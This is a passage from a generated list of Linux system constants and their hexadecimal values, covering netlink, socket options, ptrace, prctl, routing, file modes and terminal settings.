-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x4000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ARCH_PRCTL = 0x1e
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETFPXREGS = 0x12
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETFPXREGS = 0x13
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SINGLEBLOCK = 0x21
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_SYSEMU = 0x1f
-- PTRACE_SYSEMU_SINGLESTEP = 0x20
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
